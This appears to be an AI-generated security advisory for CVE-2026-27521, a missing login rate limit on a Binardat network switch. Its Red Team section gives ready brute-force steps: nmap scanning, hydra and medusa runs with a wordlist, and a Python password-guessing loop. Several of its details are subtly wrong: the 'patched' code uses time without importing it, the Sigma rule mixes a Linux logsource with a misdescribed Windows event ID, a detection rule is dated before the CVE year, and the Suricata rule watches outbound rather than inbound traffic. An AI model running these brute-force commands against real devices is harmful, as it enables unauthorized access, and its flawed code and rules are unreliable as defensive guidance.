CVE-2026-27521

Executive Summary

CVE-2026-27521 identifies a critical security flaw in the Binardat 10G08-0800GSM network switch firmware version V300SP10260209 and prior. The vulnerability stems from the absence of rate limiting or account lockout mechanisms on the device’s login interface, allowing an attacker to perform unlimited brute-force attacks against user credentials. This weakness exposes the device to unauthorized administrative access, potentially leading to full network compromise, data exfiltration, or lateral movement within the enterprise environment.

The vulnerability is classified under CWE-307 (Improper Restriction of Excessive Authentication Attempts) and aligns with MITRE ATT&CK tactic T1110 (Brute Force). No public exploit code or proof-of-concept (PoC) is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the lack of mitigations.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware firmware issue specific to Binardat network switches.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a more realistic assessment would be:

• Attack Vector (AV): Network (N) – The login interface is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to start brute-force.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the switch itself.
• Confidentiality (C): High (H) – Full device access exposes credentials and network data.
• Integrity (I): High (H) – Attacker can modify switch configuration.
• Availability (A): High (H) – Attacker could lock out legitimate users or disrupt operations.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Threat Level: Critical – The vulnerability allows remote, unauthenticated attackers to gain full administrative control of the switch via brute-force.

Deep Dive & Mechanics

The Binardat 10G08-0800GSM switch runs firmware version V300SP10260209, which exposes a web-based or CLI-based login interface for administrative access. The core issue is the lack of rate limiting or account lockout after repeated failed login attempts. This enables an attacker to systematically guess usernames and passwords without any delay or account suspension.

Attack Flow:

1. Reconnaissance: The attacker identifies the switch’s IP address via network scanning (e.g., Shodan, Nmap).
2. Credential Enumeration: Using common default credentials (e.g., admin/admin) or a wordlist, the attacker sends repeated login requests.
3. Brute-Force Execution: Without rate limiting, the attacker can test thousands of passwords per minute.
4. Access Gained: Once valid credentials are found, the attacker gains full administrative privileges.
5. Post-Exploitation: The attacker can modify VLANs, disable monitoring, exfiltrate network traffic, or pivot to other devices.

Root Cause: The firmware does not implement any of the following:

• Account lockout after N failed attempts.
• Progressive delays between login attempts.
• CAPTCHA or multi-factor authentication.
• IP-based rate limiting.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, a secure implementation would include:

Vulnerable Code (Conceptual):

def login(username, password):
    if authenticate(username, password):
        return "Success"
    else:
        return "Invalid credentials"

Patched Code (Conceptual):

from time import sleep
from collections import defaultdict

failed_attempts = defaultdict(int)
lockout_time = defaultdict(float)

def login(username, password):
    if time.time() - lockout_time[username] < 300:  # 5-minute lockout
        return "Account locked. Try again later."
    if authenticate(username, password):
        failed_attempts[username] = 0
        return "Success"
    else:
        failed_attempts[username] += 1
        if failed_attempts[username] >= 5:
            lockout_time[username] = time.time()
        sleep(2)  # Rate limiting delay
        return "Invalid credentials"

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Binardat 10G08-0800GSM switch with vulnerable firmware.
• Network access to the switch’s management interface (e.g., HTTP/HTTPS on port 80/443 or SSH on port 22).
• A wordlist of common passwords (e.g., rockyou.txt).

Exploitation Steps:

1. Identify the target:

   nmap -p 80,443,22 --open -sV 192.168.1.0/24
   

2. Brute-force using Hydra (HTTP form):

   hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
   

3. Brute-force using Medusa (SSH):

   medusa -h 192.168.1.100 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh
   

4. Automated script (Python):

   import requests
   
   target = "http://192.168.1.100/login"
   with open("passwords.txt") as f:
       for password in f:
           r = requests.post(target, data={"username": "admin", "password": password.strip()})
           if "Invalid" not in r.text:
               print(f"Found password: {password.strip()}")
               break
   

Expected Outcome: Successful authentication with a guessed password, granting administrative access.

Blue Team (Defensive)

Detection & Prevention:

• Monitor for excessive failed login attempts from a single IP.
• Implement network segmentation to restrict management interface access.
• Use a Web Application Firewall (WAF) to rate-limit login endpoints.
• Enable logging and alerting on authentication failures.

Honeypot Setup:

• Deploy a fake Binardat switch login page to capture attacker behavior.
• Use tools like Cowrie or Honeyd to simulate the device.

Indicators of Compromise (IOCs)

• Network Traffic:
  • High volume of HTTP POST requests to /login from a single IP.
  • Repeated SSH authentication attempts (port 22).
• Log Entries:
  • Multiple Invalid credentials messages in the switch’s auth log.
  • Successful login from an unusual IP address.
• System Changes:
  • New user accounts created on the switch.
  • Modified VLAN or routing configurations.
  • Unusual outbound connections from the switch.

Example Syslog Entry:

Jan 15 10:23:45 switch sshd[1234]: Failed password for admin from 10.0.0.5 port 22 ssh2
Jan 15 10:23:46 switch sshd[1234]: Failed password for admin from 10.0.0.5 port 22 ssh2

Detection Engineering

YARA Rule

rule CVE_2026_27521_BruteForce_Login {
    meta:
        description = "Detects brute-force login attempts against Binardat switch"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-27521"
    strings:
        $login_fail = "Invalid credentials" nocase
        $login_post = "POST /login" nocase
    condition:
        #login_fail > 10 and #login_post > 10
}

Sigma Rule

title: Brute-Force Login Attempts on Binardat Switch
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed login attempts to Binardat 10G08-0800GSM switch
author: Valters IT
date: 2025/04/10
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 4648  # Windows logon failure
        TargetUserName: 'admin'
        LogonType: 3  # Network
    condition: selection | count() by SourceIp > 10 within 5m
falsepositives:
    - Legitimate password changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-27521 Binardat Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"password"; http_client_body; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management if not required, or restrict access via firewall rules to trusted IPs only.
2. Change default credentials immediately to strong, unique passwords.
3. Enable logging and monitor for brute-force attempts.
4. Implement network segmentation to isolate the management interface.

Long-Term Fixes:

• Vendor Patch: Contact Binardat for a firmware update that includes rate limiting and account lockout.
• Workaround: Deploy a reverse proxy (e.g., Nginx) in front of the switch to enforce rate limiting:

  limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
  server {
      location /login {
          limit_req zone=login burst=5 nodelay;
          proxy_pass http://switch_ip;
      }
  }
  

• Multi-Factor Authentication (MFA): If supported, enable MFA for administrative access.

Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.